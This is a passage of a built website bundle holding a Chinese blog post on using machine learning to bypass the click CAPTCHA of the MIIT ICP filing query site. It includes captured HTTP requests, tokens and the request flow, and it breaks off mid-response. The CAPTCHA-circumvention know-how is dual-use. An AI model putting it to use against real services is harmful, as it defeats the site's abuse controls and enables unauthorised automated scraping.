Xl5bLys3PnTq0+ANDuoNrY+ZqenkYsFkNHR4c2ZJ97tWuGy+XS1TFRFLWRue3opJnJj5k0+/fvhyRJkGUZyWQS165dKxrHn376CQB0cSonP6+99hqCwaCWRpZlXL58ueAIltG+Pv30U3z00UcIhULaQzuTySS++OKLsvJTreMy48KFCzh//jw6Ojq0PG/nA5HNHJe6tsput+dN9an5LiemRqxUPtU6FwD6diy3rYrFYtrPjAVt1u927dr1X6MEm3lOFtUGY1FfGC+qBOuPMZaPdTAWtbPt7+4kIiIionz/+8orr/yfUYKnT5/iwYMHmJub46LCbcZY1BfGiyrB+mOM5WMdjEXtlJzuJCIiIqKtx+lOIiIiIgtiJ42IiIjIgthJIyIiIrIgdtKIiIiILIidNCIiIiILYieNiIiIyIJKdtKi0ShSqZT2nkzaPoxFfWG8qBKsP8ZYPtbBWNQOR9KIiIiILIidNCIiIiILKvjGAfVlqcX4fD6mYRqmYRqmYRqmYZqiaahyBTtpgiCgra0NwHpBu91uTE5OYmFhAQCQSCR0aQphmuqnYSzqKw3jxTSVpGH9MU7D8rFOmmKxoMqVfHdnNBqFJEkYGhpioW8zxqK+MF5UCdYfYywf62Asaodr0oiIiIgs6PelEqTTaQDA0tJSzTNDxhiL+sJ4USVYf4yxfKyDsaidktOdRERERLT1ON1JREREZEHspBERERFZEDtpRERERBbEThoRERGRBbGTRkRERGRB7KQRERERWRA7aUREREQWZPgw20IvUOVrH4i2hvqqlVxWe2lxKBTC0aNHceHCBSiKst3ZISJ6ofw/HHmK8Q0GkIcAAAAASUVORK5CYII="},96152:(e,i,s)=>{s.d(i,{A:()=>n});const n=s.p+"assets/images/image-20221223135148342-827e06f935b67ef04d59ee8ebf6594f6.png"}}]); \ No newline at end of file diff --git a/en/assets/js/66183e9f.cfc71134.js b/en/assets/js/66183e9f.cfc71134.js new file mode 100644 index 0000000..23436ab --- /dev/null +++ b/en/assets/js/66183e9f.cfc71134.js @@ -0,0 +1 @@ +"use strict";(globalThis.webpackChunkblog=globalThis.webpackChunkblog||[]).push([[9525],{2755:(e,n,i)=>{i.d(n,{A:()=>s});const s=i.p+"assets/images/image-20250506114656507-962da621ff47af3d1601a13270ede29e.png"},11944:(e,n,i)=>{i.d(n,{A:()=>s});const s=i.p+"assets/images/image-20250506134439536-a78ef5e9e09846b78813f00ac6c436c4.png"},14187:(e,n,i)=>{i.d(n,{A:()=>s});const s=i.p+"assets/images/image-20250506131510200-4caab26866090e96ff79a8254d9a4d29.png"},20604:(e,n,i)=>{i.d(n,{A:()=>s});const s=i.p+"assets/images/image-20250506134038917-d479d665c259f994791d5afd1e61e556.png"},23994:(e,n,i)=>{i.d(n,{A:()=>s});const s=i.p+"assets/images/image-20250506101859338-6e2eeba1f95d196ac1b452d8c0af354b.png"},28453:(e,n,i)=>{i.d(n,{R:()=>c,x:()=>r});var s=i(96540);const t={},a=s.createContext(t);function c(e){const n=s.useContext(a);return s.useMemo(function(){return"function"==typeof e?e(n):{...n,...e}},[n,e])}function r(e){let n;return n=e.disableParentContext?"function"==typeof e.components?e.components(t):e.components||t:c(e.components),s.createElement(a.Provider,{value:n},e.children)}},35236:(e,n,i)=>{i.d(n,{A:()=>s});const s=i.p+"assets/images/image-20250506094630093-c7594ad4b6bd8f70e66b65d0a05767fd.png"},45338:(e,n,i)=>{i.d(n,{A:()=>s});const s=i.p+"assets/images/image-20250506114618926-a3ea6f1149a755bb8756f99b6aecb99d.png"},49862:(e,n,i)=>{i.d(n,{A:()=>s});const s=i.p+"assets/images/image-20250506110856409-6bb073835e25a3142d579234cd433cdf.png"},55982:(e,n,i)=>{i.d(n,{A:()=>s});const s=i.p+"assets/images/image-20250506134346670-c70ec1a3af9c7ca86865d100314428e7.png"},69078:(e,n,i)=>{i.d(n,{A:()=>s});const s=i.p+"assets/images/image-20250506103745329-ef429bf405fd4f53cf5cd7c8a7c33db6.png"},69478:(e,n,i)=>{i.d(n,{A:()=>s});const s=i.p+"assets/images/image-20250506110308731-ca000444ff937cc4f3e80c48cfbd6c83.png"},70199:(e,n,i)=>{i.d(n,{A:()=>s});const s=i.p+"assets/images/image-20250506110411706-b4d21e5cadb5ff801d77da77fae4ac5c.png"},73943:(e,n,i)=>{i.d(n,{A:()=>s});const s=i.p+"assets/images/\u672a\u547d\u540d-4300c28f4b9f5d689f56701ac3745f66.gif"},76031:(e,n,i)=>{i.d(n,{A:()=>s});const s=i.p+"assets/images/image-20250506101225330-2e68f976e92c56e87da4cd036c7732f7.png"},77833:(e,n,i)=>{i.d(n,{A:()=>s});const s=i.p+"assets/images/image-20250506141137165-ced0ee38dfcafefe1705e16304b56eb0.png"},88747:(e,n,i)=>{i.d(n,{A:()=>s});const s=i.p+"assets/images/image-20250506140354189-2a48a5cbbb8ca54da603ac5b959884db.png"},88907:(e,n,i)=>{i.d(n,{A:()=>s});const s=i.p+"assets/images/image-20250506134509953-59ca2c171026ed957383d59b4ce1795e.png"},91747:(e,n,i)=>{i.d(n,{A:()=>s});const s=i.p+"assets/images/image-20250506105052785-613f41df9346859d224df417204f527c.png"},97277:(e,n,i)=>{i.r(n),i.d(n,{assets:()=>l,contentTitle:()=>r,default:()=>h,frontMatter:()=>c,metadata:()=>s,toc:()=>o});const s=JSON.parse('{"id":"\u4e2a\u4eba\u77e5\u8bc6\u5e93/\u5de5\u5177\u5206\u4eab/\u57fa\u4e8e\u673a\u5668\u5b66\u4e60\u7684ICP\u5907\u6848\u67e5\u8be2\u9a8c\u8bc1\u7801\u8bc6\u522b\u6280\u672f\u7814\u7a76/README","title":"\u57fa\u4e8e\u673a\u5668\u5b66\u4e60\u7684ICP\u5907\u6848\u67e5\u8be2\u9a8c\u8bc1\u7801\u8bc6\u522b\u6280\u672f\u7814\u7a76","description":"|\u4f5c\u8005|\u4fee\u8ba2\u65f6\u95f4|","source":"@site/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/08.\u5de5\u5177\u5206\u4eab/05.\u57fa\u4e8e\u673a\u5668\u5b66\u4e60\u7684ICP\u5907\u6848\u67e5\u8be2\u9a8c\u8bc1\u7801\u8bc6\u522b\u6280\u672f\u7814\u7a76/README.md","sourceDirName":"\u4e2a\u4eba\u77e5\u8bc6\u5e93/08.\u5de5\u5177\u5206\u4eab/05.\u57fa\u4e8e\u673a\u5668\u5b66\u4e60\u7684ICP\u5907\u6848\u67e5\u8be2\u9a8c\u8bc1\u7801\u8bc6\u522b\u6280\u672f\u7814\u7a76","slug":"/\u4e2a\u4eba\u77e5\u8bc6\u5e93/\u5de5\u5177\u5206\u4eab/\u57fa\u4e8e\u673a\u5668\u5b66\u4e60\u7684ICP\u5907\u6848\u67e5\u8be2\u9a8c\u8bc1\u7801\u8bc6\u522b\u6280\u672f\u7814\u7a76/","permalink":"/en/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/\u5de5\u5177\u5206\u4eab/\u57fa\u4e8e\u673a\u5668\u5b66\u4e60\u7684ICP\u5907\u6848\u67e5\u8be2\u9a8c\u8bc1\u7801\u8bc6\u522b\u6280\u672f\u7814\u7a76/","draft":false,"unlisted":false,"editUrl":"https://github.com/facebook/docusaurus/tree/main/packages/create-docusaurus/templates/shared/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/08.\u5de5\u5177\u5206\u4eab/05.\u57fa\u4e8e\u673a\u5668\u5b66\u4e60\u7684ICP\u5907\u6848\u67e5\u8be2\u9a8c\u8bc1\u7801\u8bc6\u522b\u6280\u672f\u7814\u7a76/README.md","tags":[],"version":"current","frontMatter":{},"sidebar":"tutorialSidebar","previous":{"title":"FoFa\u722c\u866b","permalink":"/en/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/\u5de5\u5177\u5206\u4eab/FoFa\u722c\u866b/"},"next":{"title":"Kafka Connect\u4efb\u610f\u6587\u4ef6\u8bfb\u53d6\u6f0f\u6d1e\uff08CVE-2025-27817\uff09","permalink":"/en/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/\u6f0f\u6d1e\u5408\u96c6/\u4e2d\u95f4\u4ef6/Apache/Kafka Connect\u4efb\u610f\u6587\u4ef6\u8bfb\u53d6\u6f0f\u6d1e\uff08CVE-2025-27817\uff09"}}');var t=i(74848),a=i(28453);const c={},r="\u57fa\u4e8e\u673a\u5668\u5b66\u4e60\u7684ICP\u5907\u6848\u67e5\u8be2\u9a8c\u8bc1\u7801\u8bc6\u522b\u6280\u672f\u7814\u7a76",l={},o=[{value:"\u524d\u6cbf",id:"\u524d\u6cbf",level:2},{value:"\u5de5\u4fe1\u90e8\u7684\u9a8c\u8bc1\u7801",id:"\u5de5\u4fe1\u90e8\u7684\u9a8c\u8bc1\u7801",level:2},{value:"\u8bf7\u6c42\u903b\u8f91",id:"\u8bf7\u6c42\u903b\u8f91",level:2},{value:"\u53c2\u6570\u5206\u6790",id:"\u53c2\u6570\u5206\u6790",level:2},{value:"Token",id:"token",level:3},{value:"pointJson",id:"pointjson",level:3},{value:"checkPointArr",id:"checkpointarr",level:3},{value:"\u70b9\u9009\u9a8c\u8bc1\u7801\u7684\u81ea\u52a8\u5316",id:"\u70b9\u9009\u9a8c\u8bc1\u7801\u7684\u81ea\u52a8\u5316",level:2},{value:"\u8ba9\u6a21\u578b\u5b66\u4f1a\u70b9\u5b57",id:"\u8ba9\u6a21\u578b\u5b66\u4f1a\u70b9\u5b57",level:3},{value:"\u4e24\u6b65\u8d70\uff1a\u4ece\u56fe\u50cf\u5230\u70b9\u51fb",id:"\u4e24\u6b65\u8d70\u4ece\u56fe\u50cf\u5230\u70b9\u51fb",level:4},{value:"\u5148\u628a\u5b57\u62a0\u51fa\u6765\uff0c\u63d0\u53d6\u6bcf\u4e2a\u5b57\u7684\u4f4d\u7f6e",id:"\u5148\u628a\u5b57\u62a0\u51fa\u6765\u63d0\u53d6\u6bcf\u4e2a\u5b57\u7684\u4f4d\u7f6e",level:3},{value:"<strong>\u6570\u636e\u96c6\u51c6\u5907</strong>",id:"\u6570\u636e\u96c6\u51c6\u5907",level:4},{value:"\u8bad\u7ec3 YOLOv11",id:"\u8bad\u7ec3-yolov11",level:4},{value:"\u56fe\u50cf\u63a8\u7406\u4e0e\u63d0\u53d6",id:"\u56fe\u50cf\u63a8\u7406\u4e0e\u63d0\u53d6",level:4},{value:"\u7528\u5b6a\u751f\u7f51\u7edc\u505a\u4e86\u4e2a\u6bd4\u4e00\u6bd4",id:"\u7528\u5b6a\u751f\u7f51\u7edc\u505a\u4e86\u4e2a\u6bd4\u4e00\u6bd4",level:3},{value:"\u56db\u3001\u751f\u6210\u6700\u7ec8\u7684 pointson \u53c2\u6570",id:"\u56db\u751f\u6210\u6700\u7ec8\u7684-pointson-\u53c2\u6570",level:3},{value:"\u4e94\u3001\u7ed3\u679c\u8fd8\u884c\u5417\uff1f",id:"\u4e94\u7ed3\u679c\u8fd8\u884c\u5417",level:3}];function d(e){const n={code:"code",del:"del",h1:"h1",h2:"h2",h3:"h3",h4:"h4",header:"header",img:"img",li:"li",ol:"ol",p:"p",pre:"pre",strong:"strong",table:"table",tbody:"tbody",td:"td",th:"th",thead:"thead",tr:"tr",ul:"ul",...(0,a.R)(),...e.components};return(0,t.jsxs)(t.Fragment,{children:[(0,t.jsx)(n.header,{children:(0,t.jsx)(n.h1,{id:"\u57fa\u4e8e\u673a\u5668\u5b66\u4e60\u7684icp\u5907\u6848\u67e5\u8be2\u9a8c\u8bc1\u7801\u8bc6\u522b\u6280\u672f\u7814\u7a76",children:"\u57fa\u4e8e\u673a\u5668\u5b66\u4e60\u7684ICP\u5907\u6848\u67e5\u8be2\u9a8c\u8bc1\u7801\u8bc6\u522b\u6280\u672f\u7814\u7a76"})}),"\n\n\n\n\n\n\n\n\n\n\n\n\n\n",(0,t.jsxs)(n.table,{children:[(0,t.jsx)(n.thead,{children:(0,t.jsxs)(n.tr,{children:[(0,t.jsx)(n.th,{style:{textAlign:"left"},children:"\u4f5c\u8005"}),(0,t.jsx)(n.th,{style:{textAlign:"left"},children:"\u4fee\u8ba2\u65f6\u95f4"})]})}),(0,t.jsx)(n.tbody,{children:(0,t.jsxs)(n.tr,{children:[(0,t.jsx)(n.td,{style:{textAlign:"left"},children:(0,t.jsx)(n.img,{src:"https://img.shields.io/badge/wjlin0-%E4%B8%AA%E4%BA%BA%E7%9F%A5%E8%AF%86%E5%BA%93-green",alt:"wjlin0"})}),(0,t.jsx)(n.td,{style:{textAlign:"left"},children:"2025-10-15 00:38:37"})]})})]}),"\n",(0,t.jsx)(n.p,{children:(0,t.jsx)(n.del,{children:"\uff08\u4ee5 beian.miit.gov.cn \u4e3a\u4f8b\uff09"})}),"\n",(0,t.jsx)(n.h2,{id:"\u524d\u6cbf",children:"\u524d\u6cbf"}),"\n",(0,t.jsxs)(n.p,{children:["\u5728\u65e5\u5e38\u641e\u5b89\u5168\u3001\u722c\u6570\u636e\u7684\u65f6\u5019\uff0c\u5927\u5bb6\u80af\u5b9a\u90fd\u9047\u5230\u8fc7\u4e00\u4e2a\u8001\u719f\u4eba \u2014\u2014 ",(0,t.jsx)(n.strong,{children:"\u9a8c\u8bc1\u7801"}),"\u3002\u5b83\u50cf\u4e00\u4e2a\u770b\u95e8\u5927\u7237\u4e00\u6837\uff0c\u6321\u5728\u5404\u79cd\u63a5\u53e3\u548c\u7f51\u9875\u524d\u9762\uff0c\u5c24\u5176\u662f\u5728\u67e5",(0,t.jsx)(n.strong,{children:"ICP\u5907\u6848\u4fe1\u606f"}),"\u8fd9\u7c7b\u5b98\u65b9\u6570\u636e\u65f6\uff0c\u9a8c\u8bc1\u7801\u51e0\u4e4e\u6210\u4e86\u201c\u6807\u914d\u201d\u3002"]}),"\n",(0,t.jsx)(n.p,{children:"\u4f46\u9a8c\u8bc1\u7801\u867d\u70e6\uff0c\u4e5f\u4e0d\u662f\u4e0d\u80fd\u641e\u3002\u7279\u522b\u662f\u56fe\u50cf\u7c7b\u9a8c\u8bc1\u7801\uff0c\u7528\u70b9\u673a\u5668\u5b66\u4e60\u7684\u5c0f\u6280\u5de7\uff0c\u641e\u5b9a\u5b83\u5176\u5b9e\u6ca1\u90a3\u4e48\u590d\u6742\u3002"}),"\n",(0,t.jsxs)(n.p,{children:["\u8fd9\u7bc7\u6587\u7ae0\u5c31\u6765\u5206\u4eab\u4e00\u4e0b\u6211\u662f\u600e\u4e48\u5229\u7528",(0,t.jsx)(n.strong,{children:"\u673a\u5668\u5b66\u4e60"}),"\u6765\u8bc6\u522bICP\u5907\u6848\u67e5\u8be2\u9875\u9762\u4e0a\u7684\u9a8c\u8bc1\u7801\u7684 \u2014\u2014 \u5305\u62ec\u600e\u4e48\u91c7\u96c6\u6570\u636e\u3001\u600e\u4e48\u8bad\u7ec3\u6a21\u578b\u3001\u6700\u540e\u600e\u4e48\u628a\u5b83\u8dd1\u8d77\u6765\u3002\u5e0c\u671b\u5bf9\u4e5f\u5728\u6298\u817e\u8fd9\u5757\u7684\u5c0f\u4f19\u4f34\u6709\u70b9\u53c2\u8003\u4ef7\u503c\u3002"]}),"\n",(0,t.jsx)(n.h2,{id:"\u5de5\u4fe1\u90e8\u7684\u9a8c\u8bc1\u7801",children:"\u5de5\u4fe1\u90e8\u7684\u9a8c\u8bc1\u7801"}),"\n",(0,t.jsx)(n.p,{children:"\u8981\u641e\u8bc6\u522b\uff0c\u7b2c\u4e00\u6b65\u5f53\u7136\u662f\u5148\u641e\u6e05\u695a\u201c\u654c\u4eba\u201d\u957f\u5565\u6837\u3002"}),"\n",(0,t.jsxs)(n.p,{children:["\u6211\u4eec\u6253\u5f00 ICP\u5907\u6848\u67e5\u8be2\u5b98\u7f51\uff0c\u968f\u4fbf\u70b9\u8fdb\u201c\u7f51\u7ad9\u5907\u6848\u67e5\u8be2\u201d\u8fd9\u4e00\u680f\uff0c\u5c31\u80fd\u770b\u5230\u4e00\u4e2a\u975e\u5e38\u5178\u578b\u7684\u9a8c\u8bc1\u7801\u6846\u3002\u5b83\u7528\u7684\u662f",(0,t.jsx)(n.strong,{children:"\u56fe\u5f62\u70b9\u9009\u9a8c\u8bc1\u7801"}),"\uff0c\u800c\u4e14\u662f\u4e2d\u6587\u7684\u3002\u5177\u4f53\u957f\u8fd9\u6837\uff1a"]}),"\n",(0,t.jsx)(n.p,{children:(0,t.jsx)(n.img,{alt:"image-20250506094630093",src:i(35236).A+"",width:"2378",height:"1030"})}),"\n",(0,t.jsxs)(n.ul,{children:["\n",(0,t.jsxs)(n.li,{children:["\n",(0,t.jsx)(n.p,{children:"\u9a8c\u8bc1\u7801\u5206\u4e0a\u4e0b\u4e24\u90e8\u5206\u4e0a\u9762\u90e8\u5206\u662f\u6587\u4ef6\u5728\u56fe\u7247\u4e2d\uff0c\u4e0b\u9762\u90e8\u5206\u662f\u63d0\u793a"}),"\n"]}),"\n",(0,t.jsxs)(n.li,{children:["\n",(0,t.jsx)(n.p,{children:"\u9a8c\u8bc1\u7801\u63d0\u793a\uff1a**\u8bf7\u4f9d\u6b21\u70b9\u51fb\u3010\u56e0, \u8dd1, \u4e61, \u52a8\u3011"}),"\n"]}),"\n",(0,t.jsxs)(n.li,{children:["\n",(0,t.jsxs)(n.p,{children:["\u4f60\u9700\u8981\u7528\u9f20\u6807",(0,t.jsx)(n.strong,{children:"\u6309\u987a\u5e8f\u70b9\u51fb\u90a3 4 \u4e2a\u5b57"}),"\uff0c\u7cfb\u7edf\u624d\u80fd\u901a\u8fc7\u9a8c\u8bc1"]}),"\n"]}),"\n"]}),"\n",(0,t.jsx)(n.h2,{id:"\u8bf7\u6c42\u903b\u8f91",children:"\u8bf7\u6c42\u903b\u8f91"}),"\n",(0,t.jsxs)(n.p,{children:["\u5148\u8fdb\u884c\u4e00\u6b21\u7b80\u5355\u7684\u67e5\u8be2\uff0c\u5e76\u5229\u7528",(0,t.jsx)(n.code,{children:"Burp"}),"\u6293\u5305\u5de5\u5177\u83b7\u53d6\u5f53\u6b21\u7684\u6d41\u91cf"]}),"\n",(0,t.jsx)(n.p,{children:(0,t.jsx)(n.img,{alt:"\u672a\u547d\u540d",src:i(73943).A+"",width:"1080",height:"557"})}),"\n",(0,t.jsx)(n.p,{children:"\u5f88\u660e\u663e\u8fd9\u91cc\u8fdb\u884c\u4e86\u4e09\u6b21\u8bf7\u6c42"}),"\n",(0,t.jsx)(n.p,{children:(0,t.jsx)(n.img,{alt:"image-20250506101225330",src:i(76031).A+"",width:"2840",height:"1478"})}),"\n",(0,t.jsxs)(n.p,{children:["\u7b2c\u4e00\u6b21\u8bf7\u6c42\uff0c\u4e0d\u96be\u5206\u6790\u51fa\u662f\uff0c\u83b7\u53d6\u4e86\u539f\u59cb\u56fe\u7247\uff0c",(0,t.jsx)(n.code,{children:"bigImage"}),"\u548c",(0,t.jsx)(n.code,{children:"smallImage"})]}),"\n",(0,t.jsx)(n.pre,{children:(0,t.jsx)(n.code,{className:"language-http",children:'POST /icpproject_query/api/image/getCheckImagePoint HTTP/1.1\nHost: hlwicpfwc.miit.gov.cn\nCookie: __jsluid_s=691280173f5789603afe9cfef8e7fa8f\nContent-Length: 58\nSec-Ch-Ua-Platform: "macOS"\nUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/135.0.0.0 Safari/537.36\nAccept: application/json, text/plain, */*\nSec-Ch-Ua: "Google Chrome";v="135", "Not-A.Brand";v="8", "Chromium";v="135"\nContent-Type: application/json\nToken: eyJ0eXBlIjoxLCJ1IjoiMDk4ZjZiY2Q0NjIxZDM3M2NhZGU0ZTgzMjYyN2I0ZjYiLCJzIjoxNzQ2NDk2MjE5ODM3LCJlIjoxNzQ2NDk2Njk5ODM3fQ.SPzNP8Gp4xyZA2zdmJ0Dhr8pYai_Xr2swMDRXkQLybQ\nSec-Ch-Ua-Mobile: ?0\nOrigin: https://beian.miit.gov.cn\nSec-Fetch-Site: same-site\nSec-Fetch-Mode: cors\nSec-Fetch-Dest: empty\nReferer: https://beian.miit.gov.cn/\nAccept-Encoding: gzip, deflate, br\nAccept-Language: zh-CN,zh;q=0.9,en;q=0.8\nPriority: u=1, i\nConnection: keep-alive\n\n{"clientUid":"point-52334cbc-cbe6-4a39-9bab-362f28c5531d"}\n'})}),"\n",(0,t.jsx)(n.p,{children:"\u54cd\u5e94\u7ed3\u679c(\u5185\u5bb9\u592a\u591a\u4e86\uff0c\u5220\u6389\u4e86\u539f\u59cb\u56fe\u7247\u5185\u5bb9)"}),"\n",(0,t.jsx)(n.pre,{children:(0,t.jsx)(n.code,{className:"language-http",children:'HTTP/1.1 200 OK\nDate: Tue, 06 May 2025 01:53:44 GMT\nContent-Type: application/json\nConnection: keep-alive\nVary: Accept-Encoding\nVary: Accept-Encoding\nVary: Origin\nVary: Access-Control-Request-Method\nVary: Access-Control-Request-Headers\nAccess-Control-Allow-Origin: https://beian.miit.gov.cn\nAccess-Control-Expose-Headers: Access-Control-Allow-Origin, Access-Control-Allow-Credentials, rci\nAccess-Control-Allow-Credentials: true\nStrict-Transport-Security: max-age=15724800; includeSubDomains\nX-Via-JSL: 24061e4,-\nX-Cache: bypass\nContent-Length: 297048\n\n{\n "code": 200,\n "msg": "\u64cd\u4f5c\u6210\u529f",\n "params": {\n "bigImage": "xxxxxxx......",\n "secretKey": "384sPbNakbrFsF1r",\n "smallImage": "xxxxxxx......",\n "uuid": "ca070c44c01b43668d4235efdc970ebc",\n "wordCount": 4\n },\n "success": true\n}\n'})}),"\n",(0,t.jsx)(n.p,{children:"\u8fd9\u4e24\u5f20\u56fe\u7247\u5176\u5b9e\u5c31\u662f \u9a8c\u8bc1\u7801\u7684\u4e0a\u4e0b\u4e24\u90e8\u5206"}),"\n",(0,t.jsx)(n.p,{children:(0,t.jsx)(n.img,{alt:"image-20250506101859338",src:i(23994).A+"",width:"1086",height:"702"})}),"\n",(0,t.jsx)(n.p,{children:"\u7b2c\u4e8c\u6b21\u8bf7\u6c42\uff0c\u5f88\u660e\u663e\u662f\u70b9\u9009\u5b8c\u6210\u4e86\u8fdb\u884c\u9a8c\u8bc1\u3002"}),"\n",(0,t.jsx)(n.pre,{children:(0,t.jsx)(n.code,{className:"language-http",children:'POST /icpproject_query/api/image/checkImage HTTP/1.1\nHost: hlwicpfwc.miit.gov.cn\nCookie: __jsluid_s=691280173f5789603afe9cfef8e7fa8f\nContent-Length: 255\nSec-Ch-Ua-Platform: "macOS"\nUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/135.0.0.0 Safari/537.36\nAccept: application/json, text/plain, */*\nSec-Ch-Ua: "Google Chrome";v="135", "Not-A.Brand";v="8", "Chromium";v="135"\nContent-Type: application/json\nToken: eyJ0eXBlIjoxLCJ1IjoiMDk4ZjZiY2Q0NjIxZDM3M2NhZGU0ZTgzMjYyN2I0ZjYiLCJzIjoxNzQ2NDk2MjE5ODM3LCJlIjoxNzQ2NDk2Njk5ODM3fQ.SPzNP8Gp4xyZA2zdmJ0Dhr8pYai_Xr2swMDRXkQLybQ\nSec-Ch-Ua-Mobile: ?0\nOrigin: https://beian.miit.gov.cn\nSec-Fetch-Site: same-site\nSec-Fetch-Mode: cors\nSec-Fetch-Dest: empty\nReferer: https://beian.miit.gov.cn/\nAccept-Encoding: gzip, deflate, br\nAccept-Language: zh-CN,zh;q=0.9,en;q=0.8\nPriority: u=1, i\nConnection: keep-alive\n\n{"token":"ca070c44c01b43668d4235efdc970ebc","secretKey":"384sPbNakbrFsF1r","clientUid":"point-52334cbc-cbe6-4a39-9bab-362f28c5531d","pointJson":"vRXxnZ1ujKsfNKB1AmvokXOxQwt1DMyQ9ZJyVLTkM6/9FW6R6EudYrEqGRoxFP+ugNRpqCu1S1hM2mzn4VbQyBAwpqCviXt8GV+57Jh6V3g="}\n'})}),"\n",(0,t.jsxs)(n.p,{children:["\u9a8c\u8bc1\u901a\u8fc7\u540e\u4f1a\u8fd4\u56de",(0,t.jsx)(n.code,{children:"sign"})]}),"\n",(0,t.jsx)(n.pre,{children:(0,t.jsx)(n.code,{className:"language-http",children:'HTTP/1.1 200 OK\nDate: Tue, 06 May 2025 01:53:54 GMT\nContent-Type: application/json\nConnection: keep-alive\nVary: Accept-Encoding\nVary: Accept-Encoding\nVary: Origin\nVary: Access-Control-Request-Method\nVary: Access-Control-Request-Headers\nAccess-Control-Allow-Origin: https://beian.miit.gov.cn\nAccess-Control-Expose-Headers: Access-Control-Allow-Origin, Access-Control-Allow-Credentials, rci\nAccess-Control-Allow-Credentials: true\nStrict-Transport-Security: max-age=15724800; includeSubDomains\nX-Via-JSL: 24061e4,-\nX-Cache: bypass\nContent-Length: 1113\n\n{"code":200,"msg":"\u64cd\u4f5c\u6210\u529f","params":{"sign":"eyJ0eXBlIjozLCJleHREYXRhIjp7InZhZnljb2RlX2ltYWdlX2tleSI6ImNhMDcwYzQ0YzAxYjQzNjY4ZDQyMzVlZmRjOTcwZWJjIn0sImUiOjE3NDY0OTY3MzQ3Mjd9.puSMuFYBv6rcSE7eTUCs_PLUobRSf8kQ76-XuZ40I_Y","smallImage":"iVBORw0KGgoAAAANSUhEUgAAAfQAAAAyCAYAAACqECmXAAACSElEQVR42u3dzWrrMBCA0bz/po+crgqlJJY0M5Kl5gTO4hbs4HDhi/XjPB5fzycAcDgfAgAIOgAg6ACAoAMAgg4Agg4ACDoAIOgAgKADgKADAIIOAAg6AHBf0H9es4/Z8Tp2fh8APjToV69ZQf99XPZVGdrK8wo6ANsHPRPVv8ftGvTq+Ao6AMuH3K/ik43q6LGzQ/jq/JEvNa3PRdABmB70d8PgVcPzPUPvOwW9530FHYB/EfRInCOBi4aw+pW9018xfQCAoDeDfhWeHReTCToAgj54F14Rpuqh6tVD+r1D9BbMATB9lXvrznL0jnhkId3dQc8GVdABOCbo0SHkE4M+GnpBB2CroPcErnquOfq+2Tn07Na1yFY/QQdgetBXLNQ6IeiR6xd0AI4LesXit7uG3O8M+l177QH4kFXurcj0BC/7DPjVQW9da+W+ekEHQNAFHQBBnxP0nr3rJwY9s3bg3TlGngvvPzAAoaBfzZu3olQR9JHV9TODXnFnLugAbB/01r+j29ZmBb1nv3tmhKB3Bf3M35YHQNBD8749QZ8xNF05n927Na5qiF7QAdhqDj276KsnnrOCnn2KXcWceuaLFQCCno559CdVI6GrCurVnf/V30evuyrmgg7A0qBXxWh10DOjBJkHzGS/4AAg6CVbrlpD1tFHxlacOztE3vsjMZk4j5xbzAE4Luijq8VnBD0b5uhohZgDsHxRHAAg6ACAoAOAoPsQAEDQAQBBBwAEHQAQdAAQdABA0AEAQQcABB0ABB0A2Mk3SUNFSvkMxFcAAAAASUVORK5CYII="},"success":true}\n'})}),"\n",(0,t.jsx)(n.p,{children:"\u7b2c\u4e09\u6b21\u8bf7\u6c42\uff0c\u5c31\u662f\u67e5\u8be2\u4e86\uff0c\u5e26\u7740\u7b2c\u4e8c\u6b21\u8bf7\u6c42\u7684sign\uff0c\u8fdb\u884c\u8bf7\u6c42"}),"\n",(0,t.jsx)(n.pre,{children:(0,t.jsx)(n.code,{className:"language-http",children:'POST /icpproject_query/api/icpAbbreviateInfo/queryByCondition HTTP/1.1\nHost: hlwicpfwc.miit.gov.cn\nCookie: __jsluid_s=691280173f5789603afe9cfef8e7fa8f\nContent-Length: 67\nSec-Ch-Ua-Platform: "macOS"\nSign: eyJ0eXBlIjozLCJleHREYXRhIjp7InZhZnljb2RlX2ltYWdlX2tleSI6ImNhMDcwYzQ0YzAxYjQzNjY4ZDQyMzVlZmRjOTcwZWJjIn0sImUiOjE3NDY0OTY3MzQ3Mjd9.puSMuFYBv6rcSE7eTUCs_PLUobRSf8kQ76-XuZ40I_Y\nSec-Ch-Ua: "Google Chrome";v="135", "Not-A.Brand";v="8", "Chromium";v="135"\nSec-Ch-Ua-Mobile: ?0\nUuid: ca070c44c01b43668d4235efdc970ebc\nUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/135.0.0.0 Safari/537.36\nAccept: application/json, text/plain, */*\nContent-Type: application/json\nToken: eyJ0eXBlIjoxLCJ1IjoiMDk4ZjZiY2Q0NjIxZDM3M2NhZGU0ZTgzMjYyN2I0ZjYiLCJzIjoxNzQ2NDk2MjE5ODM3LCJlIjoxNzQ2NDk2Njk5ODM3fQ.SPzNP8Gp4xyZA2zdmJ0Dhr8pYai_Xr2swMDRXkQLybQ\nOrigin: https://beian.miit.gov.cn\nSec-Fetch-Site: same-site\nSec-Fetch-Mode: cors\nSec-Fetch-Dest: empty\nReferer: https://beian.miit.gov.cn/\nAccept-Encoding: gzip, deflate, br\nAccept-Language: zh-CN,zh;q=0.9,en;q=0.8\nPriority: u=1, i\nConnection: keep-alive\n\n{"pageNum":"","pageSize":"","unitName":"baidu.com","serviceType":1}\n'})}),"\n",(0,t.jsx)(n.pre,{children:(0,t.jsx)(n.code,{className:"language-http",children:'HTTP/1.1 200 OK\nDate: Tue, 06 May 2025 01:53:54 GMT\nContent-Type: application/json\nConnection: keep-alive\nVary: Accept-Encoding\nVary: Accept-Encoding\nVary: Origin\nVary: Access-Control-Request-Method\nVary: Access-Control-Request-Headers\nAccess-Control-Allow-Origin: https://beian.miit.gov.cn\nAccess-Control-Expose-Headers: Access-Control-Allow-Origin, Access-Control-Allow-Credentials, rci\nAccess-Control-Allow-Credentials: true\nrci: 13b2f3eed0d64d9ba0f32d7b3c5e3149\nStrict-Transport-Security: max-age=15724800; includeSubDomains\nX-Via-JSL: 24061e4,-\nX-Cache: bypass\nContent-Length: 